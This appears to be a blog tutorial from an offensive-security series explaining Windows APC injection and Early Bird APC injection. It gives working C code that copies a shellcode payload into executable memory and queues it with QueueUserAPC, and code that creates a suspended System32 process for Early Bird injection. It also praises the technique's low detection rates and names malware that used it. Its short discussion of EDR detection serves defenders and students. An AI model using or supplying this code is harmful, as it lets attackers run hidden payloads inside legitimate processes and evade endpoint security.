Topic Of Discussions:
- APC injections.
- Early APC injections.
Today we will first talk about a new way to run our shellcode without using or creating a new thread. This approach is called APC injection.
APC = Asynchronous Procedure Calls are a mechanism of Windows that allows programs to execute tasks asynchronously while running other programs. Basically, APC injections are implemented in kernel-mode or used in specific threads. Windows process injections basically allow attackers, hackers, and red teamers to execute their shellcode inside another running process. One of the techniques we are going to cover is APC (Asynchronous Procedure Call). APC injection is not a new concept; as we discussed, it was a part of Windows internals for many years. The focus while developing this was to allow code or developers to queue functions for execution.
There is one noticeable thing: not all threads run APC functions; only threads in alterable states can do so. In simple words, this is the state which is on hold or in a wait state.
APC functions must be queued using a WinAPI called QueueUserAPC. Now here's what Microsoft documentation says: an application queues an APC to a thread by calling the QueueUserAPC function. The calling thread will specify the address of the APC function.
Types Of APC Injections:
- Classic APC injection (it will normally inject shellcode in a running process)
- Early Bird APC Injection (it will create a new process in a suspended state)
- Heaven's Gate APC injection. (It's an advanced technique and it will utilize WOW64 to bypass x64 monitoring while executing 32-bit code inside a 64-bit process)
Let's dive deep and explore these topics.
QueueUserAPC:
Now this will accept 3 main arguments:
- pfnAPC: basically the address of the APC function.
- hThread: it handles an alterable thread.
- dwData: it will take care if APC functions require parameters; it will be passed from here.
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
How We Will Place Thread in Alterable State:
As we discussed in the past, it will basically execute the queued function which needs to be in an alterable state. It will be done using one of the following WinAPIs:
- SleepEx
- MsgWaitForMultipleObjectsEx
- WaitForSingleObjectEx
- WaitForMultipleObjectsEx
- SignalObjectAndWait
Now these functions will be utilized for synchronizing threads and to improve their performance in applications.
But in this scenario, passing a simple dummy event will be enough.
To create our dummy event, we will utilize the CreateEvent WinAPI. The newly created object will be a synchronization object and allow threads to communicate with each other by signaling and waiting for events.
USAGE OF FUNCTIONS:
Any of the following functions can be used for a sacrificial alterable thread to run our queued APC payload or anything. Below are our examples:
USING SleepEx
VOID AlertableFunction1() {
// The 2nd parameter should be 'TRUE'
SleepEx(INFINITE, TRUE);
}
Using WaitForSingleObjectEx
VOID AlertableFunction2() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
// The 3rd parameter should be 'TRUE'
WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
CloseHandle(hEvent);
}
}
Using WaitForMultipleObjectsEx
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
// The 5th parameter should be 'TRUE'
WaitForMultipleObjectsEx(1, &hEvent, TRUE, INFINITE, TRUE);
CloseHandle(hEvent);
}
}
Using MsgWaitForMultipleObjectsEx
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
// The 5th parameter should be 'MWMO_ALERTABLE'
MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
CloseHandle(hEvent);
}
}
Using SignalObjectAndWait
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
// The 4th parameter should be 'TRUE'
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}
Suspended Threads:
QueueUserAPC can succeed if the thread is created in a suspended state. If the method is for the execution of the payload, then QueueUserAPC will be called first, and then the suspended thread will be next. Make sure the thread is created in a suspended state; suspending an existing thread will not work.
Implementation of APC Injection:
- First, we will create a thread running one of the previously mentioned functions for an alterable state.
- Then we need to inject the payload into memory.
- And then finally, the thread handle and payload base address will be passed to QueueUserAPC. The base address will be passed as an input.
APC Injection Function:
- RunViaApcInjection is a function to utilize the APC injection. It needs 3 arguments.
- hThread: handle to an alertable or suspended thread.
- pPayload: pointer to the base address of the payload.
- sPayloadSize: will be the size of the payload.
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = 0;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
// If hThread is in an alertable state, QueueUserAPC will run the payload directly
// If hThread is in a suspended state, the payload won't be executed unless the thread is resumed after
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Advantages of APC Injection:
No new threads need to be created. Unlike our previous models where we are creating a thread, in APC injections we don't need to create any new thread.
Due to their behavior, it has fewer detections.
*Few Disadvantages of APC Injections:
It requires an alertable state. It will only work under a few conditions which we discussed in the past.
Modern security tools like CrowdStrike are able to detect this mechanism easily because they detect APC functions by default.
Another disadvantage is that it is limited; it will not work on running processes.
Difference between APC Injection and Local Injections:
- APC injection queues functions into another process. Local injection will directly execute.
- APC injection does not use a new thread. Local injections normally use a new thread.
- APC injection needs to use an alertable thread, while local injections do not need this.
- APC will execute when the thread is in an alertable state, and local injection will execute directly.
EARLY BIRD APC INJECTION:
In our previous model, we discussed QueueUserAPC. It performs local APC injection. But now we will use the same API to run or execute our payload but in a remote process. Not much difference, but sometimes it helps in fewer detection results and is a slightly different approach.
Now we know APC injection uses a suspended or an alertable thread for the execution of the payload. In some places, it was difficult, so here is a solution.
The solution is to create a suspended process using CreateProcess. The WinAPI uses the handle to suspend the thread. But the suspended thread must fulfill the requirements to utilize as an APC injection, as we discussed earlier.
EARLY BIRD IMPLEMENTATION AND ITS LOGIC:
Here is the logic of early bird APC injection:
- Create a suspended process by using the CREATE_SUSPENDED flag.
- Write the payload address to the new target.
- Get the suspended thread's handle from our CreateProcess with the payload base address and then deliver it to QueueUserAPC.
- Then resume the thread using ResumeThread to execute our payload.
Early Bird APC Injection Function:
CreateSuspendedProcess2 is a function that performs early bird APC injection, and it usually requires 4 arguments.
- lpProcessName: The name of the process to create.
- dwProcessId: pointer to a DWORD which will receive the newly created process's PID.
- hProcess: Pointer to HANDLE that will receive the newly created process's handle.
- hThread: Pointer to HANDLE that will receive the newly created process's thread.
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// Cleaning the structs by setting the element values to 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
// Getting the %WINDIR% environment variable path (That is generally 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
// Creating the process
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED, // Create process in suspended state
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// Filling up the OUTPUT parameter with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Doing a check to verify we got everything we need
if (*dwProcessId != 0 && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
How Advanced Security Detects APC Injections:
Especially EDRs analyze the behavior of files: how they are opening and then how they are working. Due to injection, it will trigger malware detection. In simple words, while doing process injection, especially creating a process in a suspended state will trigger a red flag.
Then in a few blogs, I found that EDRs hook QueueUserAPC to detect red flag functions.
Few Past Malware Samples Which Utilize APC Injections:
One of them is the Bumblebee loader: the main purpose of this loader is to bypass AVs.
Then in history, we have seen some ransomware groups utilize this approach, and normally we know what ransomware teams are. It's not allowed to talk about ransomware, so I will skip a few things.
In past years, there was one TrickBot malware. It's a banking trojan which uses APC injections.
Dridex is also malware which used APC injections to gain stealth against AVs.
This is the end for today, and I don't want to make my readers script kiddies. This is a proof of concept. You have to utilize this code with older projects, meaning you cannot just copy and paste. You have to learn all parts to understand it properly. In the next part, I will try to cover binary entropy. It will be an interesting topic.